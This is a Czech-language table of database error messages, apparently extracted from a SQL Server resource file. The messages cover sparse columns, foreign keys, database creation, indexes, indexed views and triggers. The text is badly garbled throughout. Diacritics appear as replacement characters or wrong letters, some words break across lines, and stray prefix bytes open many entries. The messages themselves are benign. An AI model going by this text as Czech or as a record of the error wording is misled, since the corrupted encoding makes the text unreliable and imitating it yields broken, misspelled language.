etn %3!s! bajto vnitYn� re~ie. To je v�ce ne~ maxim�ln� povolen� velikost Y�dku tabulky %4!s! bajto.

�V tabulce %2!s! nelze vytvoYit zhuatn� sloupec %1!s!, proto~e zadan� mo~nost 
i datov� typ nejsou platn�. Zhuatn� sloupec mus� m�t mo~nou hodnotu Null a nesm� m�t vlastnosti ROWGUIDCOL, IDENTITY 
i FILESTREAM. Zhuatn� sloupec nesm� b�t ~�dn�m z tchto datov�ch typo: text, ntext, image, geometry, geography nebo u~ivatelem definovan� typ.

�V tabulce %2!s! nelze vytvoYit sadu zhuatn�ch sloupco %1!s!, proto~e tabulka sm� obsahovat pouze jednu sadu zhuatn�ch sloupco. Upravte pY�kaz tak, aby pouze jeden sloupec byl zad�n jako COLUMN_SET FOR ALL_SPARSE_COLUMNS.

�V tabulce %2!s! nelze vytvoYit sadu zhuatn�ch sloupco %1!s!, proto~e sada zhuatn�ch sloupco mus� b�t sloupec typu xml s mo~nou hodnotou Null. Chcete-li povolit hodnoty Null, upravte definici sloupce.

�V tabulce %2!s! nelze vytvoYit sadu zhuatn�ch sloupco %1!s!, proto~e tabulka ji~ obsahuje jeden 
i v�ce zhuatn�ch sloupco. Pokud tabulka obsahuje zhuatn� sloupec, nelze do n� pYidat sadu zhuatn�ch sloupco.

HJe ur
en� duplicitn� funkce rozsahov�ho dlen� pro tabulku, kterou vytv�Y�te. Odeberte jednu ze specifikac� funkc� rozsahov� dlen� a po~adavek odealete znovu.

�V omezen� CHECK 
i v definici po
�tan�ho sloupce nelze odkazovat na sloupec %1!s! tabulky %2!s!, proto~e tento sloupec je sada zhuatn�ch sloupco. V omezen� CHECK 
i v definici po
�tan�ho sloupce nelze odkazovat na sadu zhuatn�ch sloupco.

$Je ur
en� duplicitn� distribu
n� klauzule pro tabulku, kterou vytv�Y�te. Odeberte jednu z distribu
n�ch klauzul� a po~adavek odealete znovu.

�PY�kaz ALTER TABLE selhal, proto~e tabulka m� tento po
et sloupco s promnnou d�lkou (v
etn sloupco, kter� se odstranily, ale vy~aduj� vy
iatn�): %1!s!. Tento po
et pYesahuje maxim�ln� podporovan� po
et sloupco. Provete pY�kaz ALTER TABLE s parametrem REBUILD a pak zkuste znovu pou~�t povodn� pY�kaz ALTER TABLE.

�Zhuatn� sloupec %1!s! v tabulce %2!s! nejde zaaifrovat, proto~e tabulka obsahuje sadu zhuatn�ch sloupco.

Nejde vytvoYit sadu zhuatn�ch sloupco %1!s! v tabulce %2!s!, proto~e tabulka obsahuje minim�ln jeden aifrovan� zhuatn� sloupec.

�Sloupec %1!s! tabulky %2!s! nen� platn� sloupec pro vytvoYen� v�choz�ho omezen�.

�Sloupec %1!s!.%2!s! nem� stejnou d�lku 
i mY�tko jako odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s!. Sloupce zahrnut� do relace ciz�ho kl�
e mus� b�t definov�ny se stejnou d�lkou a mY�tkem.

�Nelze vytvoYit v�choz� hodnoty pro sloupce s atributem IDENTITY. Tabulka %1!s!, sloupec %2!s!.

�Nelze vytvoYit v�choz� hodnoty pro sloupce s datov�m typem timestamp. Tabulka %1!s!, sloupec %2!s!.

�Sloupec %1!s!.%2!s! nem� stejnou kolaci jako odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s!.

�Online lze pYidat 
i zruait pouze jedno omezen� a pY�kaz nesm� obsahovat ~�dn� dala� operace.

�po
�tan� sloupec %1!s! tabulky %2!s! nelze pou~�t v jin� definici po
�tan�ho sloupce.

|Omezen� typu %1!s! nelze vytvoYit pro sloupce typu %2!s!.

$Nelze vytvoYit ciz� kl�
 %1!s! pomoc� referen
n� akce SET NULL, proto~e jeden 
i v�ce odkazuj�c�ch sloupco nemaj� typ s mo~nou hodnotou Null.

PNelze vytvoYit ciz� kl�
 %1!s! pomoc� referen
n� akce SET DEFAULT, proto~e jeden 
i v�ce odkazuj�c�ch sloupco typu se zak�zanou hodnotou null nem� v�choz� omezen�.

�Mezidatab�zov� odkazy na ciz� kl�
 nejsou podporov�ny. Ciz� kl�
 %1!s!.

�po
�tan� sloupec %1!s! tabulky %2!s! nen� platn� v %3!s!, proto~e nen� trval�.

4VytvoYen� ciz�ho kl�
e %1!s! se nezdaYilo. Pro odkazuj�c� po
�tan� sloupec %2!s! jsou povoleny pouze referen
n� akce odstrann� NO ACTION a CASCADE.

�Odkazy na do
asn� tabulky nejsou podporov�ny. Ciz� kl�
 %1!s!.

tCiz� kl�
 %1!s! odkazuje na neplatnou tabulku %2!s!.

�Ciz� kl�
 %1!s! odkazuje na objekt %2!s!, kter� nen� u~ivatelskou tabulkou.

�Ciz� kl�
 %1!s! odkazuje na neplatn� sloupec %2!s! v odkazuj�c� tabulce %3!s!.

�Ciz� kl�
 %1!s! odkazuje na neplatn� sloupec %2!s! v odkazovan� tabulce %3!s!.

�Nelze vytvoYit ciz� kl�
 %1!s!, proto~e odkazuje na objekt %2!s!, kter� m� zak�zan� clusterovan� index %3!s!.

�Ciz� kl�
 %1!s! nen� platn�. V definici ciz�ho kl�
e nelze pou~�t syst�movou tabulku.

�Ciz� kl�
 %1!s! obsahuje implicitn� odkaz na objekt %2!s!, pro kter� nen� definov�n prim�rn� kl�
.

Po
et sloupco v seznamu odkazuj�c�ch sloupco pro ciz� kl�
 %1!s! neodpov�d� po
tu prim�rn�ch kl�
o v odkazovan� tabulce %2!s!.

�Nelze vytvoYit ciz� kl�
 %1!s!, proto~e odkazuje na objekt %2!s!, kter� m� zak�zan� index PRIMARY KEY %3!s!.

}�dn� z prim�rn�ch kl�
o 
i kandid�to na kl�
 v odkazovan� tabulce %1!s! neodpov�d� seznamu odkazuj�c�ch sloupco v ciz�m kl�
i %2!s!.

�Sloupec %1!s!.%2!s! nem� stejn� datov� typ jako odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s!.

pPrim�rn� kl�
 pro tabulku %1!s! ji~ byl definov�n.

XKe sloupci ji~ existuje vazba DEFAULT.

�Index %1!s! nelze vyYadit, proto~e pro z�kladn� data nen� zad�no sch�ma odd�lu.

�Nelze vytvoYit ciz� kl�
 %1!s!, proto~e odkazovan� sloupec %2!s!.%3!s! je do
asn� po
�tan� sloupec.

�Pou~it� omezen� FOREIGN KEY %1!s! pro tabulku %2!s! mo~e m�t za n�sledek vytvoYen� cyklo nebo v�ce kask�dov�ch cest. Zadejte akce ON DELETE NO ACTION nebo ON UPDATE NO ACTION nebo upravte jin� omezen� FOREIGN KEY.

�Sloupec %1!s!.%2!s! nebo odkazuj�c� sloupec %3!s!.%4!s! v ciz�m kl�
i %5!s! je sloupec 
asov�ho raz�tka. Tento datov� typ nelze pou~�t v kask�dov� omezuj�c� podm�nce referen
n� integrity.

�Omezen� ciz�ho kl�
e %1!s! pro tabulku %2!s! nelze definovat pomoc� kask�dov�ch akc� DELETE 
i UPDATE, proto~e pro tabulku jsou definov�ny aktiva
n� ud�losti INSTEAD OF DELETE 
i UPDATE TRIGGER.

�Kask�dov� ciz� kl�
 %1!s! nelze vytvoYit, je-li odkazuj�c� sloupec %2!s!.%3!s! sloupcem identity.

�Hodnotu CHECKSUM(*) nejde pou~�t v definici po
�tan�ho sloupce, omezen�, v�choz� definici nebo pY�kazu INSERT.

�N�zev u~ivatelem definovan�ho typu tabulky nesm� za
�nat znakem 
�sla (#).

�Pro sloupec %1!s! tabulky %2!s! nelze vytvoYit omezen� DEFAULT, proto~e se jedn� o zhuatn� sloupec nebo sadu zhuatn�ch sloupco. Zhuatn� sloupce 
i sady zhuatn�ch sloupco nemohou obsahovat omezen� DEFAULT.

XZmna tabulky %1!s! se nezdaYila, proto~e pYidan� pevn� sloupec mohl zapY�
init, ~e existuj�c� data pYekro
ila maxim�ln� povolenou velikost Y�dku tabulky %2!s! bajto.

\Federaci do
asn� tabulky nelze vytvoYit.

�Sloupec %1!s! je pro vytvoYen� federace tabulky %2!s! neplatn�.

�Sloupec s mo~nou hodnotou null %1!s! nelze pou~�t pro vytvoYen� federace tabulky %2!s!.

�Po
�tan� sloupec %1!s! nelze pou~�t pro vytvoYen� federace tabulky %2!s!.

�Zhuatn� sloupec %1!s! nelze pou~�t pro vytvoYen� federace tabulky %2!s!.

�Federovan� tabulky nelze vytvoYit v nefederovan� datab�zi.

�Sloupec %1!s! nelze pou~�t pro vytvoYen� federace tabulky %2!s!, proto~e neodpov�d� typu federa
n�ho kl�
e.

|Datab�ze %1!s! ji~ existuje. Zvolte jin� n�zev datab�ze.

PY�kaz CREATE DATABASE se nepodaYilo prov�st. Nelze vytvoYit nkter� n�zvy souboro ze seznamu. Zkontrolujte s t�m souvisej�c� chyby.

PY�kaz CREATE DATABASE se nezdaYil. Velikost prim�rn�ho souboru mus� b�t alespoH %1!s! MB, aby mohl obsahovat kopii modelov� datab�ze.

�PY�kaz CREATE DATABASE se nepodaYilo prov�st. V�choz� kolaci datab�ze %1!s! nelze nastavit na hodnotu %2!s!.

�Nelze z�skat v�hradn� z�mek souboru %1!s!. Opakujte operaci pozdji.

�Aby bylo mo~n� vytvoYit novou datab�zi, je tYeba umo~nit aktualizaci modelov� datab�ze.

�PY�kaz CREATE DATABASE se nezdaYil. Klauzuli COLLATE nelze pou~�t s mo~nost� FOR ATTACH.

�Novou datab�zi %1!s! nelze otevY�t. PY�kaz CREATE DATABASE byl pYeruaen.

|Vlastnost %1!s! nelze pou~�t pro soubory sn�mko datab�ze.

�Sn�mek datab�ze nen� povolen pro syst�movou datab�zi %1!s!.

�Sn�mek datab�ze %1!s! mo~e vytvoYit pouze jej� vlastn�k nebo spr�vce syst�mu.

�Prim�rn� soubor protokolu %1!s! nebyl nalezen a datab�ze nebyla Y�dn ukon
ena, proto ji nelze znovu sestavit.

dNelze vytvoYit sn�mek jin�ho sn�mku datab�ze.

�Chcete-li vytvoYit sn�mek datab�ze, datab�ze mus� b�t online.

�Nelze vytvoYit sn�mek datab�ze, proto~e jej� spuatn� se nezdaYilo.

xNelze pYipojit datab�zi, jej�~ obnoven� pr�v prob�h�.

|Nelze zadat skupiny souboro a kolace pro sn�mky datab�z�.

�U~ivatelem definovan� skupiny souboro nejsou pro %1!s! povoleny.

<PY�kazy CREATE DATABASE nebo ALTER DATABASE se nezdaYily, proto~e velikost v�sledn� kumulativn� datab�ze by pYekro
ila povolen� limit %1!s! MB za %2!s!.

�Logick� n�zev souboru %1!s! se ji~ pou~�v�. Vyberte jin� n�zev.

�Mo~nost FOR ATTACH vy~aduje, aby byl zad�n alespoH prim�rn� soubor.

�Soubory %1!s! i %2!s! jsou prim�rn� soubory. Datab�ze mo~e m�t pouze jeden prim�rn� soubor.

�Syntaxi ONLINE/OFFLINE nelze pou~�t s pY�kazem CREATE DATABASE.

tSoubor %1!s! nelze pYipojit jako datab�zi %2!s!.%3!s!

�Soubor %1!s! lze znovu pou~�t a~ po proveden� dala� operace BACKUP LOG. Pokud se datab�ze �
astn� skupiny dostupnosti, vyYazen� soubor lze znovu pou~�t teprve pot�, kdy poYadov� 
�slo polo~ky zkr�cen� prim�rn� repliky dostupnosti pYed� poYadov� 
�slo polo~ky vyYazen� souboru a kdy je dokon
ena n�sledn� operace BACKUP LOG.

�Soubor %1!s! nelze pYepsat, proto~e je pou~�v�n datab�z� %2!s!.

�Nelze vytvoYit 
i pYipojit dala� datab�ze, proto~e po
et existuj�c�ch datab�z� pYekro
il maxim�ln� povolen� po
et: %1!s!.

�N�zev souboru %1!s! je pY�lia dlouh� pro vytvoYen� alternativn�ho n�zvu datov�ho proudu.

�V�choz� datov� soubor nelze vytvoYit, proto~e n�zev %1!s! je vyhrazen� n�zev zaY�zen�.

�PY�kaz CREATE DATABASE se nezdaYil. Klauzuli CONTAINMENT nelze pou~�t s mo~nost� FOR ATTACH.

lMaxim�ln� velikost souboru nesm� pYekro
it hodnotu 2147483647 jednotek velikosti str�nky. Rost souboru nesm� pYekro
it hodnotu 2147483647 jednotek velikosti str�nky ani procent.

L%1!s! nen� podporov�n pro %2!s!.

�PYi vytv�Yen� automaticky obnoven�ho sn�mku VSS pro ovYen� pY�kazu DBCC online nelze naj�t zapisova
 SQL slu~by St�nov� kopie svazku (VSS) v dokumentu metadat zapisova
e zajiaeovan�m slu~bou St�nov� kopie svazku.

XPYi vytv�Yen� automaticky obnoven�ho sn�mku VSS pro ovYen� pY�kazu DBCC online nelze naj�t komponentu datab�ze %1!s! zapisova
e SQL slu~by St�nov� kopie svazku (VSS).

�Aktu�ln� verze opera
n�ho syst�mu nepodporuje automaticky obnoven� sn�mky slu~by St�nov� kopie svazku (VSS).

Slu~b St�nov� kopie svazku se nepodaYilo vytvoYit automaticky obnoven� sn�mek datab�ze %1!s! pro ovYen� pY�kazu DBCC online.

�Datab�zi %1!s! nelze pYipojit, proto~e n�zev souboru %2!s! je platn� pro v�ce ne~ jednu cihlu.

�N�zev souboru %1!s! pou~it� jako relativn� cesta je pY�lia dlouh�, je-li v nm jako pYedpona pou~ita v�choz� cesta %2!s!.

�PYi zmenaov�n� fyzick�ho souboru doalo k chyb. Dala� informace naleznete v protokolu ERRORLOG.

�Logick� soubor datab�ze %1!s! nelze nal�zt. Zadejte �plnou cestu k souboru.

PPovodn� n�zev souboru %1!s! pro logick� soubor datab�ze %2!s! je pY�lia dlouh� a nelze jej zkombinovat s �plnou cestou nov�ho um�stn� prim�rn�ho datov�ho souboru.

\Syst�mov� tabulka sysfiles1 je poakozena.

�Soubor %1!s! nelze pYipojit jako datab�zi %2!s!, proto~e tento n�zev datab�ze je ji~ pYipojen k souboru %3!s!.

�Soubor %1!s! nelze pYipojit jako datab�zi %2!s!, proto~e tento soubor je ji~ pou~it pro datab�zi %3!s!.

�Nelze vytvoYit sn�mek datab�ze, proto~e st�le prob�h� obnovov�n� u~ivatelsk� datab�ze.

VytvoYen� datab�ze nen� v kontextu modelov� datab�ze povoleno. PYepnte kontext do jin� datab�ze pomoc� pY�kazu USE a akci opakujte.

�Nejde vytvoYit clusterovan� index s klauzul� predik�tu. Filtrovan� clusterovan� indexy nejsou podporovan�.

�Nelze vytvoYit index nebo statistiku %1!s! pro zobrazen� %2!s!, proto~e kl�
ov� sloupec %3!s! je nepYesn�, po
�tan� a nen� trval�. PYesnosti lze dos�hnout odebr�n�m odkazu na sloupec v indexu zobrazen� nebo statistick�m kl�
i 
i zmnou sloupce. Je-li sloupec v z�kladn� tabulce po
�tan�, mo~ete ho zde ozna
it PERSISTED (trval�).

,Pro %1!s! %2!s! nelze vytvoYit v�ce ne~ jeden clusterovan� index. DY�ve ne~ vytvoY�te dala� index, odeberte existuj�c� clusterovan� index %3!s!.

%1!s! %2!s! v tabulce %3!s! m� v seznamu kl�
o n�sleduj�c� po
et sloupco: %4!s!. Maxim�ln� po
et sloupco kl�
e %5!s! je %6!s!.

�Index %1!s! nelze znovu vytvoYit. Definice nov�ho indexu neodpov�d� omezen�, kter� vynucuje existuj�c� index.

�Sloupec %1!s! je dlic� sloupec indexu %2!s!. Dl�c� sloupce jedine
n�ho indexu mus� b�t podmno~inou kl�
e indexu.

�Nelze pou~�t duplicitn� n�zvy sloupco v %1!s!. N�zev sloupce %2!s! uveden v�ce ne~ jednou.

�Nelze vytvoYit %1!s! %2!s!, proto~e pYesahuje maxim�ln� po
et %3!s! povolen� pro tabulku 
i zobrazen�.

�N�zev sloupce %1!s! v c�lov� tabulce 
i zobrazen� neexistuje.

PNelze prov�st operaci indexu DDL pro %1!s! %2!s!, proto~e je konfliktn� s jinou soub~nou aktu�ln prob�haj�c� operac� pro tento objekt. Soub~n� operace mo~e b�t operace indexu online pro stejn� objekt nebo jin� soub~n� operace pro pYesunut� str�nek indexu, jako napY�klad DBCC SHRINKFILE.

�Operace se nezdaYila, proto~e index 
i statistika s n�zvem %1!s! pro %2!s! %3!s! ji~ existuj�.

�Index objektu %1!s! nelze vytvoYit, proto~e dan� objekt nen� u~ivatelsk� tabulka 
i zobrazen�.

�Nejedine
n� index nelze zmnit pomoc� mo~nosti indexu ignore_dup_key. Index %1!s! nen� jedine
n�.

|Mo~nosti CREATE INDEX %1!s! a %2!s! se vz�jemn vylu
uj�.

Index m�stn� do
asn� tabulky nelze vytvoYit, znovu sestavit 
i odebrat v re~imu online. Provete operaci indexu v re~imu offline.

�Sloupec %1!s! tabulky %2!s! m� neplatn� typ a nelze ho pou~�t jako kl�
ov� sloupec v indexu.

HByl zad�n neplatn� %1!s! %2!s!.

�Ke skupin souboro %1!s! nejsou pYiYazeny ~�dn� soubory. Pro tuto skupinu souboro nelze vytv�Yet tabulky, indexy a sloupce rozlehl�ch objekto. Chcete-li do skupiny souboro pYidat jeden 
i v�ce souboro, pou~ijte pY�kaz ALTER DATABASE.

XSkupina souboro %1!s! je jen pro 
ten�.

PYeveden� clusterovan�ho indexu na neclusterovan� nelze prov�st pomoc� mo~nosti DROP_EXISTING. Chcete-li zmnit typ indexu z clusterovan�ho na neclusterovan�, odeberte clusterovan� index a pot� vytvoYte neclusterovan� index pomoc� dvou samostatn�ch pY�kazo.

|Pro tabulku %1!s! ji~ existuje statistika s n�zvem %2!s!.

�Statistiku objektu %1!s! nelze vytvoYit, proto~e dan� objekt nen� u~ivatelsk� tabulka 
i zobrazen�.

4Neclusterovan� index nelze pYev�st na clusterovan�, proto~e na index odkazuje omezen� ciz�ho kl�
e. Odeberte omezen� ciz�ho kl�
e a operaci opakujte.

�PY�kaz jazyka SQL nelze prov�st, proto~e skupina souboro %1!s! je offline. Pomoc� zobrazen� katalogu sys.database_files nebo sys.master_files ur
ete stav souboro t�to skupiny souboro a pot� obnovte offline soubor 
i soubory ze z�lohy.

@PY�kaz %1!s! se nezdaYil, proto~e byla zad�na nespr�vn� nastaven� u tchto mo~nost� SET: %2!s!. OvYte spr�vnost mo~nost� SET pro pou~it� s pY�kazem %3!s!.

�Index nelze vytvoYit. Objekt %1!s! byl vytvoYen s tmito mo~nostmi SET nastaven�mi na hodnotu off: %2!s!.

dNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e odkazuje na jin� zobrazen� %3!s!. Definici odkazovan�ho zobrazen� mo~ete roza�Yit ru
n v definici indexovan�ho zobrazen�.

�Index zobrazen� %1!s! nelze vytvoYit, proto~e povodn� objekt %2!s! m� jin�ho vlastn�ka.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e zobrazen� nen� v�z�no k ~�dn�mu sch�matu.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� nem� jedine
n� clusterovan� index.

|Pro zobrazen� %1!s! nelze vytvoYit nejedine
n� clusterovan� index, proto~e jsou povoleny pouze jedine
n� clusterovan� indexy. Nam�sto toho mo~ete vytvoYit jedine
n� clusterovan� index.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje sloupce typu text, ntext, image, FILESTREAM nebo XML.

�Nelze znovu uspoY�dat index %1!s! v tabulce %2!s!, proto~e uzam
en� na �rovni str�nky je zak�z�no.

�Index %1!s! se nevytvoYil, proto~e velikost kl�
e indexu m� nejm�n %2!s! bajto. Velikost kl�
e indexu %3!s! nesm� pYesahovat %4!s! bajto. Pokud kl�
 indexu zahrnuje implicitn� kl�
ov� sloupce, velikost kl�
e indexu nesm� pYes�hnout %5!s! bajto.

,Operace se nezdaYila. Polo~ka indexu s d�lkou %1!s! bajto pro index %2!s! je vyaa� ne~ maxim�ln� d�lka %3!s! bajto pro tento po
et indexo: %4!s!.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje spojen� sama na sebe pro %3!s!.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. V�sledky funkce %3!s! jsou nedeterministick�. Pou~ijte deterministickou syst�movou funkci nebo upravte u~ivatelem definovanou funkci tak, aby vracela deterministick� v�sledky.

tNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� nedeterministickou u~ivatelem definovanou funkci %3!s!. Odeberte odkaz na tuto funkci nebo ji upravte na deterministickou.

pNelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e pou~�v� nepYesnou u~ivatelem definovanou funkci %3!s!. Odkaz na funkci mo~ete odstranit nebo funkci zmnit tak, aby byla pYesn�.

�Nelze vytvoYit index pro zobrazen� 
i po
�tan� sloupec, proto~e �roveH kompatibility t�to datab�ze je nastavena na hodnotu ni~a� ne~ 80. �roveH kompatibility datab�ze lze zv�ait pomoc� ulo~en� procedury sp_dbcmptlevel.

0Nelze vytvoYit %1!s! pro zobrazen� %2!s!. V�raz pYetypov�n� kolace s n�zvem kolace %3!s! je nedeterministick�, proto~e z�vis� na opera
n�m syst�mu.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e sloupec %3!s!, na kter� odkazuje zobrazen� v klauzuli WHERE 
i GROUP BY, je nepYesn�. Sloupec mo~ete odstranit ze zobrazen� 
i ho zmnit na pYesn�.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje nepYesn� 
i nedeterministick� pYevod.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje nepYesnou konstantu.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje nepYesn� aritmetick� oper�tor.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje nepYesn� agrega
n� oper�tor.

�Nov� clusterovan� index zobrazen� nelze vytvoYit v re~imu online.

�PYeveden� neclusterovan�ho indexu na clusterovan� nelze prov�st online pomoc� mo~nosti DROP_EXISTING.

�V�choz� skupina souboro FILESTREAM nen� v datab�zi %1!s! dostupn�.

$Index %1!s! tabulky %2!s! nelze zak�zat. Bylo odepYeno opr�vnn� k zak�z�n� ciz�ho kl�
e %3!s! pro tabulku %4!s!, kter� pou~�v� tento index.

DClusterovan� index %1!s! tabulky %2!s! nelze zak�zat. Bylo odepYeno opr�vnn� ke zmn odkazuj�c�ho zobrazen� %3!s! pYi zak�z�n� jeho clusterovan�ho indexu.

�Nelze prov�st zadanou operaci indexu %1!s! pro %2!s! %3!s!.

�Neleze prov�st zadanou operaci pro %1!s! %2!s!, proto~e je zak�z�n jej� clusterovan� index %3!s!.

�D�lka Y�dku indexu %1!s! pYesahuje maxim�ln� povolenou d�lku %2!s! bajto.

tNelze vytvoYit index nebo statistiku %1!s! zobrazen� %2!s!, proto~e nelze ovYit, zda je kl�
ov� sloupec %3!s! pYesn� a deterministick�. Sloupec mo~ete odebrat z indexu nebo kl�
e statistik, po
�tan� sloupec mo~ete v z�kladn� tabulce ozna
it jako trval�, nebo mo~ete pou~�t sloupec neodvozen� od CLR v kl�
i.

�Nelze vytvoYit %1!s! %2!s! tabulky %3!s!. Pro sloupec XML %4!s! lze vytvoYit pouze index XML.

�Sloupec %1!s! tabulky %2!s! m� neplatn� typ a nelze ho pou~�t jako kl�
ov� sloupec v indexu 
i statistice.

Index %1!s! nelze zmnit pomoc� mo~nosti indexu ignore_dup_key, proto~e tato mo~nost vynucuje prim�rn� 
i jedine
n� omezen�.

�Nelze vytvoYit index po
�tan�ho sloupce %1!s! tabulky %2!s!, proto~e povodn� objekt %3!s! m� jin�ho vlastn�ka.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!, proto~e zobrazen� odkazuje na nedeterministickou 
i nepYesnou 
lenskou funkci %3!s! pro typ CLR %4!s!. Zva~te odebr�n� odkazu na funkci nebo jej� zmnu zajiaeuj�c� deterministick� chov�n� funkce. Pro funkci CLR s nedeterministick�m chov�n�m nedeklarujte hodnotu vlastnosti IsDeterministic=true, proto~e by tato akce mohla v�st k poakozen� indexu. Podrobnja� informace najdete na webu Knihy online pro SQL Server.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. V�sledky funkce %3!s! jsou nepYesn�. Pou~ijte pYesnou syst�movou funkci nebo upravte u~ivatelem definovanou funkci tak, aby vracela pYesn� v�sledky.

XIndex %1!s! nelze vytvoYit 
i znovu sestavit. Zadan� d�lka Y�dko tohoto indexu pou~�vaj�c� form�t ukl�d�n� vardecimal pYesahuje maxim�ln� povolenou d�lku %2!s! bajto.

�Nelze vytvoYit %1!s! pro zobrazen� %2!s!. Zobrazen� obsahuje jednu 
i v�ce metod datov�ho typu XML.

�Nelze %1!s! %2!s! %3!s! pro %4!s! %5!s!, proto~e %6!s! je zak�z�n.

�V re~imu online nelze znovu sestavit clusterovan� index %1!s!, proto~e je zak�z�n.

�Nelze povolit omezen� ciz�ho kl�
e %1!s!, proto~e index %2!s! odkazovan�ho kl�
e je zak�z�n.

|Index zobrazen� nelze definovat pomoc� mo~nosti indexu ignore_dup_key. Odeberte mo~nost ignore_dup_key a ovYte, zda definice zobrazen� nepovoluje duplik�ty nebo zobrazen� neindexujte.

HClusterovan� index %1!s! tabulky %2!s! nelze zak�zat. Bylo odepYeno opr�vnn� k zak�z�n� ciz�ho kl�
e %3!s! pro tabulku %4!s!, kter� odkazuje na tuto tabulku.

�Index promnn� tabulky 
i definice vr�cen� tabulky ve funkci vracej�c� tabulku nelze rozdlit na odd�ly.

Nelze vytvoYit 
i aktualizovat statistiku zobrazen� %1!s!, proto~e pro tyto operace jsou vy~adov�ny mo~nosti FULLSCAN a NORECOMPUTE.

�Hypotetick� index %1!s! nelze znovu sestavit v re~imu online.

(Index vynucuj�c� omezen� prim�rn�ho kl�
e %1!s! nelze vytvoYit pomoc� mo~nosti DROP_EXISTING, proto~e tabulka obsahuje index XML 
i prostorov� index. Odeberte index XML 
i prostorov� index, vytvoYte omezen� prim�rn�ho kl�
e a znovu vytvoYte index XML 
i prostorov� index.

tIndex XML 
i prostorov� index %1!s! nelze pYev�st na rela
n� index pomoc� mo~nosti DROP_EXISTING. Odeberte index XML 
i prostorov� index a vytvoYte rela
n� index se stejn�m n�zvem.

�Sloupec %1!s! tabulky %2!s! m� neplatn� typ a nelze ho pou~�t jako zahrnut� sloupec v indexu.

�Nelze vytvoYit proceduru k replikaci s 
�slem skupiny vta�m ne~ jedna.

Procedury s 
�slem skupiny nesmj� m�t parametry typu XML, CLR ani aifrovan�ho typu. Parametr %1!s! procedury %2!s! je typu %3!s!.

Procedura %1!s! ji~ byla vytvoYena s 
�slem skupiny %2!s!. VytvoYte proceduru s 
�slem skupiny, kter� jeat nebylo pou~ito.

�Tabulka %1!s! nen� k dispozici a je tYeba ji znovu sestavit. Tabulku sestavte v re~imu offline.

�Objekt %1!s! nen� procedura a proto nelze vytvoYit jinou proceduru s t�mto n�zvem skupiny.

�Nelze prov�st pY�kaz ALTER na objekt %1!s!, proto~e je to nekompatibiln� typ objektu.

�Indexov� doporu
en� v objektu sv�zan�m se sch�matem lze pou~�t pouze pro pameov optimalizovan� tabulky.

�Vzd�len� pY�stup z objektu sv�zan�ho se sch�matem nen� povolen.

�Z�vislosti hl�aen� pro entitu %1!s! pravdpodobn nezahrnuj� odkazy na vaechny sloupce. Dovodem je skute
nost, ~e entita odkazuje na neexistuj�c� objekt, nebo chyba v jednom 
i v�ce pY�kazech entity. PYed optovn�m spuatn�m dotazu se ujistte, zda entita neobsahuje chyby a zda vaechny odkazovan� objekty existuj�.

�Odkazovan� entita %1!s! byla bhem prov�dn� pY�kazu DDL zmnna. Opakujte operaci.

�Doalo k chyb�m anal�zy v: %1!s! %2!s!. Z�vislosti odkazovan� z tohoto objektu nelze ur
it.

Nelze %1!s! �roveH serveru %2!s! pro u~ivatele %3!s!, proto~e pro tohoto u~ivatele neexistuje ~�dn� odpov�daj�c� pYihl�aen�.

�Nelze %1!s! %2!s! %3!s!, proto~e v datab�zi %5!s! neexistuje u~ivatel pro pYihl�aen� %4!s!.

�Nelze %1!s! aktiva
n� ud�lost %2!s!, proto~e jej� sch�ma je odlian� od sch�matu c�lov� tabulky 
i zobrazen�.

�Nelze %1!s! %2!s! %3!s!, proto~e pro tuto akci nem�te potYebn� opr�vnn�.

�Nelze %1!s! %2!s! pro %3!s!, proto~e tento c�l v aktu�ln� datab�zi neexistuje.

TNelze zmnit aktiva
n� ud�lost %1!s! pro %2!s!, proto~e ud�lost nepatY� tomuto objektu. Zadejte spr�vn� n�zev aktiva
n� ud�losti nebo spr�vn� n�zev c�lov�ho objektu.

Nelze %1!s! aktiva
n� ud�lost %2!s! pro %3!s! %4!s!, proto~e aktiva
n� ud�lost INSTEAD OF %5!s! ji~ pro tento objekt existuje.

�Nelze vytvoYit aktiva
n� ud�lost %1!s! v zobrazen� %2!s!, proto~e zobrazen� je definov�no mo~nost� CHECK OPTION.

tNelze %1!s! aktiva
n� ud�losti INSTEAD OF DELETE nebo INSTEAD OF UPDATE TRIGGER %2!s! pro tabulku %3!s!. Dovodem jsou kask�dov� akce DELETE 
i UPDATE v omezen� tabulky FOREIGN KEY.

�Sloupec %1!s! nelze pou~�t v klauzuli IF UPDATE, proto~e se jedn� o po
�tan� sloupec.

�Oznamov�n� ud�lost� na �rovni serveru jsou zak�z�na, proto~e datab�ze msdb neexistuje.

PY�kaz CREATE EVENT NOTIFICATION nelze prov�st pro datab�zi %1!s!, proto~e se nejedn� o platnou zprostYedkovatelskou datab�zi.

 Nelze prov�st pY�kaz %1!s! INSTEAD OF s aktiva
n� ud�lost� %2!s! pro objekt %3!s! %4!s!, proto~e objekt %5!s! obsahuje sloupec FILESTREAM.

�%1!s!Odvozen� omezen�m z typu anySimpleType nen� povoleno a odvozen� omezen�m z typu odvozen�ho roza�Yen�m z typu anySimpleType je povoleno pouze tehdy, pokud nejsou zad�ny ~�dn� omezuj�c� vlastnosti.

�%1!s!PYi kompilov�n� dotazu doalo k chyb. Chcete-li z�skat podrobnja� informace o chyb, dotaz mus� b�t spuatn u~ivatelem s opr�vnn�mi EXECUTE pro kolekci sch�mat XML pou~itou v dotazu.

